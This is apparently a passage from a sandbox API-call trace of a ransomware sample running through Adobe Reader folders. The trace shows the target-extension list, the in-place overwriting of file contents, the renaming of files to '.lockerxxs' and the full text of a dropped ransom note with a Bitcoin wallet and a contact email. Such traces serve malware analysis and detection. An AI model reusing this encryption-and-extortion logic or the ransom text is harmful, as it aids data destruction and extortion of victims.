lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\HOW TO DECRYPT FILES.txt" [0069.608] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\dan\\how to decrypt files.txt")) returned 0x20 [0069.608] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\", lpString2="license.html" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\license.html" [0069.608] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\license.html", pszSpec="*.ems") returned 0 [0069.608] lstrlenA (lpString="*.ems") returned 5 [0069.608] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\license.html", pszSpec="*.db") returned 0 [0069.608] lstrlenA (lpString="*.db") returned 4 [0069.608] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\license.html", pszSpec="*.dbf") returned 0 [0069.608] lstrlenA (lpString="*.dbf") returned 5 [0069.608] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\license.html", pszSpec="*.myox") returned 0 [0069.608] lstrlenA (lpString="*.myox") returned 6 [0069.608] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\license.html", pszSpec="*.myo") returned 0 [0069.608] lstrlenA (lpString="*.myo") returned 5 [0069.608] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\license.html", pszSpec="*.qbw") returned 0 [0069.608] lstrlenA (lpString="*.qbw") returned 5 [0069.608] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\license.html", pszSpec="*.qbb") returned 0 [0069.608] lstrlenA (lpString="*.qbb") returned 5 [0069.609] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\license.html", pszSpec="*.qbm") returned 0 [0069.609] lstrlenA (lpString="*.qbm") returned 5 [0069.609] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\license.html", pszSpec="*.qbo") returned 0 [0069.609] lstrlenA (lpString="*.qbo") returned 5 [0069.609] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\license.html", pszSpec="*.qbx") returned 0 [0069.609] lstrlenA (lpString="*.qbx") returned 5 [0069.609] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\license.html", pszSpec="*.qba") returned 0 [0069.609] lstrlenA (lpString="*.qba") returned 5 [0069.609] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\license.html", pszSpec="*.qby") returned 0 [0069.609] lstrlenA (lpString="*.qby") returned 5 [0069.609] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\license.html", pszSpec="*.qbj") returned 0 [0069.609] lstrlenA (lpString="*.qbj") returned 5 [0069.609] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\license.html", pszSpec="*.ofx") returned 0 [0069.609] lstrlenA (lpString="*.ofx") returned 5 [0069.609] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\license.html", pszSpec="*.qif") returned 0 [0069.609] lstrlenA (lpString="*.qif") returned 5 [0069.609] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\license.html", pszSpec="*.mye") returned 0 [0069.609] lstrlenA (lpString="*.mye") returned 5 [0069.610] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\license.html", pszSpec="*.mbox") returned 0 [0069.610] lstrlenA (lpString="*.mbox") returned 6 [0069.610] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\license.html", pszSpec="*.eml") returned 0 [0069.610] lstrlenA (lpString="*.eml") returned 5 [0069.610] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\license.html", pszSpec="*.pst") returned 0 [0069.610] lstrlenA (lpString="*.pst") returned 5 [0069.610] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\license.html", pszSpec="*.ost") returned 0 [0069.610] lstrlenA (lpString="*.ost") returned 5 [0069.610] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\license.html", pszSpec="*.idx") returned 0 [0069.610] lstrlenA (lpString="*.idx") returned 5 [0069.610] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\license.html", pszSpec="*.dbx") returned 0 [0069.610] lstrlenA (lpString="*.dbx") returned 5 [0069.610] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\license.html", pszSpec="*.sql") returned 0 [0069.610] lstrlenA (lpString="*.sql") returned 5 [0069.610] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\license.html", pszSpec="*.mdb") returned 0 [0069.610] lstrlenA (lpString="*.mdb") returned 5 [0069.610] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\license.html", pszSpec="*.fdb") returned 0 [0069.610] lstrlenA (lpString="*.fdb") returned 5 [0069.611] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\license.html", pszSpec="*.wab") returned 0 [0069.611] lstrlenA (lpString="*.wab") returned 5 [0069.611] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\license.html", pszSpec="*.dat") returned 0 [0069.611] lstrlenA (lpString="*.dat") returned 5 [0069.611] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\license.html", pszSpec="*.txt") returned 0 [0069.611] lstrlenA (lpString="*.txt") returned 5 [0069.611] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\license.html", pszSpec="*.jpeg") returned 0 [0069.611] lstrlenA (lpString="*.jpeg") returned 6 [0069.611] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\license.html", pszSpec="*.jpg") returned 0 [0069.611] lstrlenA (lpString="*.jpg") returned 5 [0069.611] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\license.html", pszSpec="*.png") returned 0 [0069.611] lstrlenA (lpString="*.png") returned 5 [0069.611] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\license.html", pszSpec="*.php") returned 0 [0069.611] lstrlenA (lpString="*.php") returned 5 [0069.611] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\license.html", pszSpec="*.cs") returned 0 [0069.611] lstrlenA (lpString="*.cs") returned 4 [0069.611] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\license.html", pszSpec="*.cpp") returned 0 [0069.611] lstrlenA (lpString="*.cpp") returned 5 [0069.611] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\license.html", pszSpec="*.rar") returned 0 [0069.611] lstrlenA (lpString="*.rar") returned 5 [0069.611] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\license.html", pszSpec="*.zip") returned 0 [0069.612] lstrlenA (lpString="*.zip") returned 5 [0069.612] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\license.html", pszSpec="*.html") returned 1 [0069.612] lstrlenA (lpString="*.html") returned 6 [0069.612] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\license.html" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\license.html" [0069.612] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\license.html" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\license.html" [0069.612] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\license.html", lpString2="." | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\license.html.") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\license.html." [0069.612] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\license.html.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\license.html.lockerxxs") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\license.html.lockerxxs" [0069.612] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\dan\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0069.615] GetFileSize (in: hFile=0x94, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xbd79 [0069.615] GetFileTime (in: hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x9640cd00, dwHighDateTime=0x1cb84b4), lpLastAccessTime=0x407536*(dwLowDateTime=0x81dce140, dwHighDateTime=0x1d2dda0), lpLastWriteTime=0x40753e*(dwLowDateTime=0x9640cd00, dwHighDateTime=0x1cb84b4)) returned 1 [0069.615] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0069.615] ReadFile (in: hFile=0x94, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xbd53, lpOverlapped=0x0) returned 1 [0069.619] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\license.html") returned="license.html" [0069.620] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0069.620] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xbd53, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xbd53, lpOverlapped=0x0) returned 1 [0069.620] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0069.620] CloseHandle (hObject=0x94) returned 1 [0069.622] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\dan\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\license.html.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\dan\\license.html.lockerxxs")) returned 1 [0069.622] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xbd79, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 0 [0069.622] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0069.623] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df42a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81df42a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f7008, dwReserved1=0x3, cFileName="DEU", cAlternateFileName="")) returned 1 [0069.623] lstrcmpA (lpString1=".", lpString2="DEU") returned -1 [0069.623] lstrcmpA (lpString1="..", lpString2="DEU") returned -1 [0069.623] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\*.*") returned="*.*" [0069.623] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\", lpString2="DEU" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU" [0069.623] lstrlenA (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU") returned 57 [0069.623] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df42a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81df42a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf20003f1, dwReserved1=0x4e00c4, cFileName=".", cAlternateFileName="")) returned 0x502658 [0069.623] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0069.623] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df42a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81df42a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4e0000, cFileName="..", cAlternateFileName="")) returned 1 [0069.623] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0069.623] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0069.623] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0069.623] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0069.623] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="eula.ini") returned -1 [0069.623] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="eula.ini") returned 1 [0069.623] lstrcmpiA (lpString1="", lpString2="eula.ini") returned -1 [0069.623] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\*.*") returned="*.*" [0069.623] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\" [0069.623] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\") returned="" [0069.623] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\HOW TO DECRYPT FILES.txt" [0069.623] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\deu\\how to decrypt files.txt")) returned 0xffffffff [0069.624] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\deu\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0069.624] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0069.624] WriteFile (in: hFile=0x94, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0069.625] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0069.625] CloseHandle (hObject=0x94) returned 1 [0069.626] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\", lpString2="eula.ini" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini" [0069.626] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.ems") returned 0 [0069.626] lstrlenA (lpString="*.ems") returned 5 [0069.626] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.db") returned 0 [0069.626] lstrlenA (lpString="*.db") returned 4 [0069.626] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.dbf") returned 0 [0069.626] lstrlenA (lpString="*.dbf") returned 5 [0069.626] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.myox") returned 0 [0069.626] lstrlenA (lpString="*.myox") returned 6 [0069.626] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.myo") returned 0 [0069.626] lstrlenA (lpString="*.myo") returned 5 [0069.626] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.qbw") returned 0 [0069.626] lstrlenA (lpString="*.qbw") returned 5 [0069.626] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.qbb") returned 0 [0069.626] lstrlenA (lpString="*.qbb") returned 5 [0069.626] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.qbm") returned 0 [0069.626] lstrlenA (lpString="*.qbm") returned 5 [0069.626] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.qbo") returned 0 [0069.626] lstrlenA (lpString="*.qbo") returned 5 [0069.626] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.qbx") returned 0 [0069.627] lstrlenA (lpString="*.qbx") returned 5 [0069.627] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.qba") returned 0 [0069.627] lstrlenA (lpString="*.qba") returned 5 [0069.627] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.qby") returned 0 [0069.627] lstrlenA (lpString="*.qby") returned 5 [0069.627] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.qbj") returned 0 [0069.627] lstrlenA (lpString="*.qbj") returned 5 [0069.627] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.ofx") returned 0 [0069.627] lstrlenA (lpString="*.ofx") returned 5 [0069.627] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.qif") returned 0 [0069.627] lstrlenA (lpString="*.qif") returned 5 [0069.627] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.mye") returned 0 [0069.627] lstrlenA (lpString="*.mye") returned 5 [0069.627] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.mbox") returned 0 [0069.627] lstrlenA (lpString="*.mbox") returned 6 [0069.627] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.eml") returned 0 [0069.627] lstrlenA (lpString="*.eml") returned 5 [0069.627] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.pst") returned 0 [0069.627] lstrlenA (lpString="*.pst") returned 5 [0069.627] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.ost") returned 0 [0069.627] lstrlenA (lpString="*.ost") returned 5 [0069.627] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.idx") returned 0 [0069.628] lstrlenA (lpString="*.idx") returned 5 [0069.628] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.dbx") returned 0 [0069.628] lstrlenA (lpString="*.dbx") returned 5 [0069.628] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.sql") returned 0 [0069.628] lstrlenA (lpString="*.sql") returned 5 [0069.628] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.mdb") returned 0 [0069.628] lstrlenA (lpString="*.mdb") returned 5 [0069.628] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.fdb") returned 0 [0069.628] lstrlenA (lpString="*.fdb") returned 5 [0069.628] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.wab") returned 0 [0069.628] lstrlenA (lpString="*.wab") returned 5 [0069.628] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.dat") returned 0 [0069.628] lstrlenA (lpString="*.dat") returned 5 [0069.628] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.txt") returned 0 [0069.628] lstrlenA (lpString="*.txt") returned 5 [0069.628] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.jpeg") returned 0 [0069.628] lstrlenA (lpString="*.jpeg") returned 6 [0069.628] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.jpg") returned 0 [0069.628] lstrlenA (lpString="*.jpg") returned 5 [0069.628] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.png") returned 0 [0069.628] lstrlenA (lpString="*.png") returned 5 [0069.628] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.php") returned 0 [0069.628] lstrlenA (lpString="*.php") returned 5 [0069.629] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.cs") returned 0 [0069.629] lstrlenA (lpString="*.cs") returned 4 [0069.629] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.cpp") returned 0 [0069.629] lstrlenA (lpString="*.cpp") returned 5 [0069.629] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.rar") returned 0 [0069.629] lstrlenA (lpString="*.rar") returned 5 